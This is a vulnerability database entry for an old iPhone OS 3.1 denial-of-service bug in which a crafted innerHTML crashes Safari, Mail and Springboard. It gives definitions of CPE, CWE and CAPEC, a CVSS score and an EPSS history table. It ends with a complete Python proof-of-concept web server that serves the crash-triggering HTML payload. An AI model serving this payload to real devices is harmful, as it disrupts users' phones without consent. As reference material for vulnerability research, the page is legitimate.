CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The HTTP client functionality in Apple iPhone OS 3.1 on the iPhone 2G and 3.1.3 on the iPhone 3GS allows remote attackers to cause a denial of service (Safari, Mail, or Springboard crash) via a crafted innerHTML property of a DIV element, related to a "malformed character" issue.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
63.58%
–
2023-11-12
–
–
–
63.58%
–
2024-06-02
–
–
–
63.58%
–
2024-09-29
–
–
–
59.1%
–
2024-11-10
–
–
–
56.17%
–
2024-12-22
–
–
–
40.78%
–
2025-01-19
–
–
–
40.78%
–
2025-03-18
–
–
–
–
2.05%
2025-03-30
–
–
–
–
2.05%
2025-04-15
–
–
–
–
2.05%
2025-04-15
–
–
–
–
2.05,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/python
#iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3
#this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash
#all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my
#device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it
# Exploit Title: iPhone Springboard Malformed Character Crash PoC
# Date: 3/15/2010
# Author: Chase Higgins
# Software Link: apple.com/iphone/
# Version: iPhone 2G, iPhone 3GS
# Tested on: iPhone OS 3.1, and iPhone OS 3.1.3
# CVE :
# Code : none
import sys, socket;
def main():
html = """
<html>
<head>
<script>
function triggerCrash(){
evil_div = document.getElementById('evilDiv');
var evil_string = "\x4e\x5b\x01";
i = 0;
while (i < 1000){
evil_string = evil_string + evil_string;
}
evil_div.innerHTML = evil_string;
}
</script>
</head>
<body onLoad="triggerCrash()">
<div id="evilDiv">
</div>
</body>
</html>
""";
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.bind(('',2121));
s.listen(1);
while True:
channel, details = s.accept();
print channel.recv(1024);
channel.send(html);
channel.close();
main();